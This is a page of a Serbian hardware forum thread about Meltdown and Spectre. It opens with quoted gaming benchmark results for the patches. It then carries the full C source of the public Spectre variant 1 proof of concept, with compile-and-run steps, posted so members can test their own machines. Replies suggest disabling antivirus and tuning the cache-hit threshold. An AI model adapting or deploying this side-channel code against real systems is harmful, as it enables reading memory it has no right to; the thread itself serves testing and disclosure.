»RSS Benchmark sajt

      Strana 9 od 18 PrvaPrva ... 5678910111213 ... PoslednjaPoslednja
      Prikazani rezultati od 121 do 135 od ukupno 265

      Tema: Meltdown / Spectre

      1. #121
        Member Avatar korisnika rAMA
        Na forumu od
        Feb 2007
        Poruka
        9.569
      2. Moja mašina
        • CPU: i7 6700k + NH-D15
        • MoBo: Maximus VIII Ranger
        • RAM: G.SKILL TridentZ RGB 16GB DDR4 3000MHz (F4-3000C16D-16GTZR)
        • VGA: GeForce® GTX 1080 G1 Gaming 8G
        • MON: Acer Predator XB271HU 27" G-Sync @150Hz
        • HDD: Samsung 830 128GB + SEAGATE BarraCuda 3TB ST3000DM008 + 1.5TB Samsung EcoGreen F2 + WD6400AAKS
        • OPT: ...?
        • Case: Fractal Define XL Titanium Grey
        • SND: Creative Sound Blaster Z; Altec Lansing 5100, Sennheiser HD 598, Presonus HD7
        • TV: Sony KDL-50W756C


      3. That said, five of the six tests here can push a quad-core, four-thread Intel CPU to full 100 per cent utilisation (the exception being Far Cry Primal, which relies heavily on single core power), but there is more leeway with the six-core i5 8400. What we found is that even with both patches in place, some games show no real difference at all - Ashes of the Singularity's punishing CPU benchmark remains completely consistent across all three of our test runs, as does our Notre Dame run through Assassin's Creed Unity, where any difference vanishes into the margin of error. The CPU-heavy Crysis 3 sails through the Meltdown test with no appreciable hit to performance, with the Spectre microcode update only hitting performance by two per cent. Far Cry Primal? Deduct 1fps for each of the security upgrades you install.

        The Meltdown patch caused a 3.6 per cent hit to our test run through Rise of the Tomb Raider's Geothermal Valley, rising to 4.2 per cent with the BIOS update installed. However, our Witcher 3 test run - which hits storage hard and thrives on memory bandwidth - is hit comparatively hard, losing 8.2 per cent of its performance, rising to 9.4 per cent with the Spectre-orientated BIOS microcode update.

        The good news is that performance is holding up: our tests here artificially push CPU performance to the forefront in a world where the GPU is the primary limiting factor in gaming. And even here, only one game sees an appreciable hit to performance and even that is in one part of a very well-optimised game that we've specifically chosen for CPU stress-testing. Most of The Witcher 3 plays much more smoothly
        http://www.eurogamer.net/articles/di...ng-performance
        Menjao rAMA : 10.01.2018. u 17:09
        ▒▓██ P █ A █ R █ T █ I █ Z █ A█ N ██▓▒Mi ćemo stvarati, drugi neka ruše, mi ćemo ulepšavati, drugi neka ruže▒▓██ █ █ ██▓▒

      4. #122
        Member
        Na forumu od
        Oct 2007
        Lokacija
        Beograd
        Poruka
        5.147
      5. Moja mašina
        • CPU: AMD Athlon 64 X2 Dual Core 6400+ + LC-CC-120
        • MoBo: Asus M2N-SLI
        • RAM: Kingston 2x2GB DDR2 800MHz
        • VGA: MSI GTX 1060 GAMING X 6G
        • MON: Samsung SyncMaster 940BW (1440x900)
        • HDD: Samsung 850 EVO 250GB + 2xWD RED 3TB
        • OPT: NEC DVD/RW ND-4571A
        • Case: Chieftec BG-01B + Thermaltake Smart SE 730W (SPS-730M)
        • SND: Audio Adapter C-Media CMI8738/C3DX Audio Device / Genius SW 5.1 3.600W
        • OS: Windows 7 Ultimate (64-bit)
        • TV: Sony 55X8509C
        • INET: Kablovska
        • Ostalo: A4tech Bloody V7, Redragon Devarajas
      6. Da li će biti razlike u performansama u renderu i sličnim programima za posao (Adobe paket i programi za arhitekturu)?
        Konkretno me za 7700K zanima.

      7. #123

      8. #124
        Member Avatar korisnika sam633
        Na forumu od
        Nov 2011
        Poruka
        4.025
        Sve to pada u vodu, kad se pogleda ovako nešto:

        Igoritza:"Necu se ja vala ovde vise nikad registrovati."

      9. #125
        Member Avatar korisnika hedgehog
        Na forumu od
        Jan 2011
        Lokacija
        BG
        Poruka
        726
      10. Moja mašina
        • CPU: AMD FX 4300 Black Edition + NH-C12P SE14
        • MoBo: ASRock 970 Pro3 R2.0
        • RAM: Exceleram Rippler 2x4GB 1600MHz CL9
        • VGA: XFX Radeon HD 5750 512Mb GDDR5
        • MON: Dell P2417H
        • HDD: 500GB WD Caviar Blue
        • OPT: Optiarc DVD-RW
        • Case: Cooler Master Elite 334 Black + Corsair VX 450W
        • SND: nista spec.
        • OS: Windows 7 x64
        • INET: DSL
      11. To je na kompu sto je "okrpljen" sa mikrokodovima i MS update? Intel ili AMD?
        Svako bira kako živi, ili nosiš Note 7........................... ili ideš u školu.

      12. #126
        Member Avatar korisnika sam633
        Na forumu od
        Nov 2011
        Poruka
        4.025
        Ovo je Spectre.

        Na slici je Windows 10 u VM, na nekoj MacBook mašini sa i5 i to sa macOS High Sierra 10.13.2 Supplemental Update koji je izašao pre dan-dva.

        Autor je probao na istoj mašini, Linux, Windows, macOS, rezultat je isti.
        Menjao sam633 : 12.01.2018. u 00:54
        Igoritza:"Necu se ja vala ovde vise nikad registrovati."

      13. #127
        Moderator Avatar korisnika yooyo
        Na forumu od
        Jun 2005
        Lokacija
        Beograd, London
        Poruka
        10.601
      14. Moja mašina
        • CPU: i7-4790
        • MoBo: ASUS
        • RAM: 16GB
        • VGA: NVidia GeForce 770GTX
        • MON: Dell U2716D - 27" (2560x1440)
        • HDD: Samsung Evo 840 (500GB) + 2TB HDD
        • SND: Integrisana
        • OS: Centos 7
        • LAP: Dell XPS 15
        • INET: DSL
      15. Znači nisu zakrpili?

        Sent from my Nexus 6P using Tapatalk
        pro’ gram mer (n.) - An organism that converts caffeine into code.

      16. #128
        Member Avatar korisnika sam633
        Na forumu od
        Nov 2011
        Poruka
        4.025
        Mislim da nije pitanje, da li su zakrpili ne, već da li se može zakrpiti ili ne, sudeći po svemu.

        Ako želite, možemo malo zabave u temi.

        Kompajliranje nekog source-a koji odmah radi i tako to.

        Da napišem i upustvo za sve i probaju na svojim mašinama?

        Mogu i da okačim već kompajlirane, ali samo je na Vama, da li ćete verovati već kompajliranim ili ne.

        Da li da okačim ili ne?
        Menjao sam633 : 12.01.2018. u 01:56
        Igoritza:"Necu se ja vala ovde vise nikad registrovati."

      17. #129
        VIP member
        Na forumu od
        Jul 2002
        Poruka
        2.863
        Kako stoje stvari, dzaba su krecili

      18. #130
        Member Avatar korisnika hedgehog
        Na forumu od
        Jan 2011
        Lokacija
        BG
        Poruka
        726
      19. Moja mašina
        • CPU: AMD FX 4300 Black Edition + NH-C12P SE14
        • MoBo: ASRock 970 Pro3 R2.0
        • RAM: Exceleram Rippler 2x4GB 1600MHz CL9
        • VGA: XFX Radeon HD 5750 512Mb GDDR5
        • MON: Dell P2417H
        • HDD: 500GB WD Caviar Blue
        • OPT: Optiarc DVD-RW
        • Case: Cooler Master Elite 334 Black + Corsair VX 450W
        • SND: nista spec.
        • OS: Windows 7 x64
        • INET: DSL
      20. Evo i ja sam isprobao taj spectre kod. Sa gcc kompajlerom i komandom gcc -std=c99 -O0 spectre.c -o spectre i posle /spectre.exe.
        Ovako to izgleda na ovoj mojoj AMD makini i W7. uglavnom bih naglasio da bi eventualno morali da ugasite AV, jer meni 360 TS odmah brisne spectre.exe cim se stvori.
        Default CACHE_HIT_THRESHOLD (80)
        Click image for larger version. 

Name:	amd threshold 80 default.jpg 
Views:	244 
Size:	235,6 KB 
ID:	244230
        A ova druga je kad se poveca CACHE_HIT_THRESHOLD na 100 i onda sve pogadja. Znaci mora malo da se steluje kod.
        Click image for larger version. 

Name:	amd threshold 100.jpg 
Views:	238 
Size:	245,7 KB 
ID:	244231

        EDIT: Eh da, zaboravio sam da naglasim da nemam instalirane nikakve zakrpe. A to nije ni moguce jer je MS povukao zakrpe za AMD jer puca Win nakon krpeza.
        Menjao hedgehog : 12.01.2018. u 11:38
        Svako bira kako živi, ili nosiš Note 7........................... ili ideš u školu.

      21. #131
        Member Avatar korisnika sam633
        Na forumu od
        Nov 2011
        Poruka
        4.025
        Ok, vidim da ima zainteresovanih. Pa, da prionemo na posao.

        Kao što se vidi gore na slici, treba nam (neki) GCC za Windows.

        Ja sam uzeo TDM-GCC, koji možete naći ovde:

        https://sourceforge.net/projects/tdm-gcc/

        Tokom instalacije, možete uzeti sve što je preporučeno i biće u folderu C:\TDM-GCC-64.

        Taj folder sam i izabrao za rad, Vi možete bilo koji drugi.

        U njemu napravite novi tekstualni fajl. Desni klik -> New -> Text Document.

        Otvorite ga i u njega iskopirajte sledeći sadržaj:

        Spoiler:
        Kod:
        #include <stdio.h>
        #include <stdlib.h>
        #include <stdint.h>
        #include <string.h>
        #ifdef _MSC_VER
        #include <intrin.h> /* for rdtscp and clflush */
        #pragma optimize("gt",on)
        #else
        #include <x86intrin.h> /* for rdtscp and clflush */
        #endif
        
        /********************************************************************
        Victim code.
        ********************************************************************/
        unsigned int array1_size = 16;
        uint8_t unused1[64];
        uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
        uint8_t unused2[64];
        uint8_t array2[256 * 512];
        
        char * secret = "The Magic Words are Squeamish Ossifrage.";
        
        unsigned int edx = 0;
        
        uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
        
        void victim_function(size_t x) {
          if (x < array1_size) {
            temp &= array2[array1[x] * 512];
          }
        }
        
        /********************************************************************
        Analysis code
        ********************************************************************/
        #define CACHE_HIT_THRESHOLD (150) /* assume cache hit if time <= threshold */
        
        int check_rdtscp() {
          __asm__ __volatile__ (
          "movl $0x80000001, %%eax\n"
          "cpuid\n"
          : "=d"(edx)
          :: "%eax", "%ebx", "%ecx"
          );
          return (edx&(1<<27));
        }
        
        /* Report best guess in value[0] and runner-up in value[1] */
        void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2], int has_rdtscp) {
          static int results[256];
          int tries, i, j, k, mix_i;
          unsigned int junk = 0;
          size_t training_x, x;
          register uint64_t time1, time2;
          volatile uint8_t * addr;
          volatile int z = 0;
        
          for (i = 0; i < 256; i++)
            results[i] = 0;
          for (tries = 999; tries > 0; tries--) {
        
            /* Flush array2[256*(0..255)] from cache */
            for (i = 0; i < 256; i++)
              _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
        
            /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
            training_x = tries % array1_size;
            for (j = 29; j >= 0; j--) {
              _mm_clflush( & array1_size);
              for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */
        
              /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
              /* Avoid jumps in case those tip off the branch predictor */
              x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
              x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
              x = training_x ^ (x & (malicious_x ^ training_x));
        
              /* Call the victim! */
              victim_function(x);
        
            }
        
            /* Time reads. Order is lightly mixed up to prevent stride prediction */
            for (i = 0; i < 256; i++) {
              mix_i = ((i * 167) + 13) & 255;
              addr = & array2[mix_i * 512];
              if (has_rdtscp) {
                time1 = __rdtscp(& junk); /* READ TIMER */
                junk = * addr; /* MEMORY ACCESS TO TIME */
                time2 = __rdtscp(& junk); /* READ TIMER & COMPUTE ELAPSED TIME */
              } else {
                time1 = __rdtsc(); /* READ TIMER */
                junk = * addr; /* MEMORY ACCESS TO TIME */
                time2 = __rdtsc(); /* READ TIMER & COMPUTE ELAPSED TIME */
              }
              if (time2 - time1 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
            }
        
            /* Locate highest & second-highest results results tallies in j/k */
            j = k = -1;
            for (i = 0; i < 256; i++) {
              if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
              } else if (k < 0 || results[i] >= results[k]) {
                k = i;
              }
            }
            if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
              break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
          }
          results[0] ^= junk; /* use junk so code above won’t get optimized out*/
          value[0] = (uint8_t) j;
          score[0] = results[j];
          value[1] = (uint8_t) k;
          score[1] = results[k];
        }
        
        int main(int argc, const char * * argv) {
          size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
          int i, score[2], len = 40;
          uint8_t value[2], normalized[1];
          char * recovered = (char*)calloc(len + 1, sizeof(char*));
          const int has_rdtscp = check_rdtscp();
        
          for (i = 0; i < sizeof(array2); i++)
            array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
          if (argc == 3) {
            sscanf(argv[1], "%p", (void * * )( & malicious_x));
            malicious_x -= (size_t) array1; /* Convert input value into a pointer */
            sscanf(argv[2], "%d", & len);
          }
        
          printf("Reading %d bytes:\n", len);
          while (--len >= 0) {
            printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
            readMemoryByte(malicious_x++, value, score, has_rdtscp);
            printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
            normalized[0] = (value[0] > 31 && value[0] < 127) ? value[0] : (uint8_t)'?';
            recovered[strlen(recovered)] = normalized[0];
            printf("0x%02X=\'%c\' score=%d ", value[0], normalized[0], score[0]);
            if (score[1] > 0)
              printf("(second best: 0x%02X score=%d)", value[1], score[1]);
            printf("\n");
          }
          printf("\n");
          printf(" Original: %s\n", secret);
          printf("Recovered: %s\n", recovered);
          printf("\n");
          return (0);
        }
        Sačuvajte ga i promenite ime fajla u spectre.c.

        Sad nam treba CMD. Pritisnite i držite levi Shift i istovremeno uradite desni klik. Dobićete opciju "Open command windows here". Ili jednostavno otvorite CMD i otiđite do Vašeg radnog foldera.

        Kompajlirajte spectre.c sa:

        Kod:
        gcc -s -msse2 spectre.c -o spectre
        ili

        Kod:
        gcc spectre.c -o spectre
        Ako želite x86 verziju, odnosno 32bit-nu verziju, dodajte parametar:

        Kod:
        -m32
        Dobićete u folderu spectre.exe.

        Pokrenite spectre.exe u već otvorenom CMD-u, sa:

        Kod:
        spectre
        ili:

        Kod:
        spectre.exe
        Javite rezultat.

        Ima još jedan source, ali taj ću postaviti, ako ovaj postavljeni ne radi nekome.

        Autor source-a napominje da je TDM-GCC malo buggy, pa ako mislite da može bolje, slobodno preporučite.

        Probajte u Linux-u, macOS-u, Windows-u...
        Menjao sam633 : 12.01.2018. u 14:57
        Igoritza:"Necu se ja vala ovde vise nikad registrovati."

      22. #132
        Member Avatar korisnika hedgehog
        Na forumu od
        Jan 2011
        Lokacija
        BG
        Poruka
        726
      23. Moja mašina
        • CPU: AMD FX 4300 Black Edition + NH-C12P SE14
        • MoBo: ASRock 970 Pro3 R2.0
        • RAM: Exceleram Rippler 2x4GB 1600MHz CL9
        • VGA: XFX Radeon HD 5750 512Mb GDDR5
        • MON: Dell P2417H
        • HDD: 500GB WD Caviar Blue
        • OPT: Optiarc DVD-RW
        • Case: Cooler Master Elite 334 Black + Corsair VX 450W
        • SND: nista spec.
        • OS: Windows 7 x64
        • INET: DSL
      24. I vazna stvar je da meni nije hteo da sljaka na gcc dok nisu uradjene sledece korekcije
        dodat razmak
        CACHE_HIT_THRESHOLD(80)
        CACHE_HIT_THRESHOLD (80)
        i zamenjeno
        (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0])
        (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0])
        Ja sam koristio MinGW
        Menjao hedgehog : 12.01.2018. u 15:49
        Svako bira kako živi, ili nosiš Note 7........................... ili ideš u školu.

      25. #133
        Member Avatar korisnika sam633
        Na forumu od
        Nov 2011
        Poruka
        4.025
        Jeste.

        Ali i tako, taj source ti i dalje ne daje ono što je nama razumljivo, a to su slova. Mada je hex rezultat isti, što je najbitnije.

        Probaj ovaj gore, što sam postavio.
        Menjao sam633 : 12.01.2018. u 16:26
        Igoritza:"Necu se ja vala ovde vise nikad registrovati."

      26. #134
        Member Avatar korisnika TheCyA
        Na forumu od
        Dec 2009
        Lokacija
        Nis
        Poruka
        1.515
        Probao i ja na Fedori 27 sa 4.14.11 kernelom koji ovo ispravlja ali problem i dalje postoji.

      27. #135
        Member Avatar korisnika mirza82
        Na forumu od
        Oct 2007
        Lokacija
        Cuprija
        Poruka
        4.557
      28. Moja mašina
        • CPU: F82
        • MoBo: MPOWER
        • Case: M4
        • SND: AKRAPOVIC
        • INET: Bez interneta
      29. Citat Citiram korisnika: sam633 Pogledaj poruku
        Jeste.

        Ali i tako, taj source ti i dalje ne daje ono što je nama razumljivo, a to su slova. Mada je hex rezultat isti, što je najbitnije.

        Probaj ovaj gore, što sam postavio.
        A sta tu treba da pise, ili sta pise u hex-u?
        https://goo.gl/pSe738
        "Nije znanje znanje znati, vec je znanje znanje dati!"

      Strana 9 od 18 PrvaPrva ... 5678910111213 ... PoslednjaPoslednja

      Bookmarks

      Dozvoljeni tagovi

      • Ne možete pokrenuti nove teme
      • Ne možete odgovoriti u temi
      • Ne možete okačiti atačmente
      • Ne možete izmeniti svoje poruke
      •